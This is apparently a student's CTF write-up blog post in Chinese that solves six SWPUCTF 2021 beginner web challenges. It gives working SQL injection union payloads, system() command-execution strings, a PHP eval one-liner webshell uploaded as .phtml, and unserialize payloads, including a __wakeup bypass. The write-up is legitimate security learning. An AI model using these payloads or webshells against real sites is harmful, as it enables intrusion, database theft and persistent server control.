学习记录1

来交周报咯(

目录

[SWPUCTF 2021 新生赛]jicao

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]easyrce 

 [SWPUCTF 2021 新生赛]ez_unserialize

[SWPUCTF 2021 新生赛]easyupload2.0

[SWPUCTF 2021 新生赛]no_wakeup


[SWPUCTF 2021 新生赛]jicao

先来道简单的,审码

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

 post和get请求,post就不说了,在配payload时,json_decode可以将json对象中json格式的字符串转换为php中的关联数组,所以json参数设置为:json={"x":"wllm"}

[SWPUCTF 2021 新生赛]easy_sql

再来看道sql注入的题目,sql注入是一种常见的网络应用程序安全漏洞,攻击者可以利用该漏洞,通过发送恶意sql代码,从数据库中获取敏感信息,修改或删除数据,或者对整个数据库造成破坏。

先根据题目要求传参,url/?wllm=1

接下来开始检查是否存在sql注入漏洞

接下来开始进行查询,发现一共有三列,your loginname应该在第二列, password在第三列

?wllm=-1' order by 3--+

?wllm=-1' oder by 4--+

//--+的作用是将整个注入攻击代码后的内容都注释掉,绕过过滤

查询数据库

?wllm=-1' union select 1,2,database()--+

接下来查询表名

?wllm=-1' union select 1,2,group concat(table_name)from information_schema.tables where table_schema='test_db'--+

//information_schema存储了数据库元数据信息,可以从这里查看表,列等信息

查询字段

?wllm=-1'union select 1,2,group_concat(column_name)from information_schema.columns where  table_name='test_tb'--+

接下来查询在test_tb库里查询flag ,然后就结束了

?wllm=-1'union select 1,2,flag from test_tb--+

[SWPUCTF 2021 新生赛]easyrce 

浅浅复习一下rce,这道题什么绕过也没有,那就直接传参执行命令

?url=system("ls ");

回根目录找找

?url=system("ls/");

 ?url=system("cat /flllllaaaaaaggggggg");

 [SWPUCTF 2021 新生赛]ez_unserialize

然后让我来复习一下反序列化,SHCTF没做出来,这次来道简单的

这里有robot.txt文件,访问

访问这个cl45s.php文件可以看到题目

 

审码,传参为p,发现include函数,我们要触发destruct方法,反序列化后自动触发,但是我们可以看到创建对象后construct方法会将admin和oasswd对象赋值

<?php
class wllm{

public $admin="admin";
public $passwd="ctf";

}
$a = new wllm;
echo serialize($a);
?>

得到poc链

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

传参

[SWPUCTF 2021 新生赛]easyupload2.0

文件上传

ctrl+u后没有发现什么有用的,上传个一句话木马试试

<?php @eval ($_POST[a]);?>

发现不能上传php文件

但可以上传phtml文件

用蚁剑链接一下

(请无视我上传的乱七八糟的东西)之后找到flag文件

[SWPUCTF 2021 新生赛]no_wakeup

绕过wake_up,之前在shctf见过一次

wake_up()方法会在反序列化时自动触发,绕过方法是在poc链中使成员数大于实际成员数

<?php

class HaHaHa {
    public $admin = "admin";
    public $passwd = "wllm";
}

$a = new HaHaHa();
echo serialize($a);
?> 

payload:?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

之后就可以获得flag了

感谢阅读

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值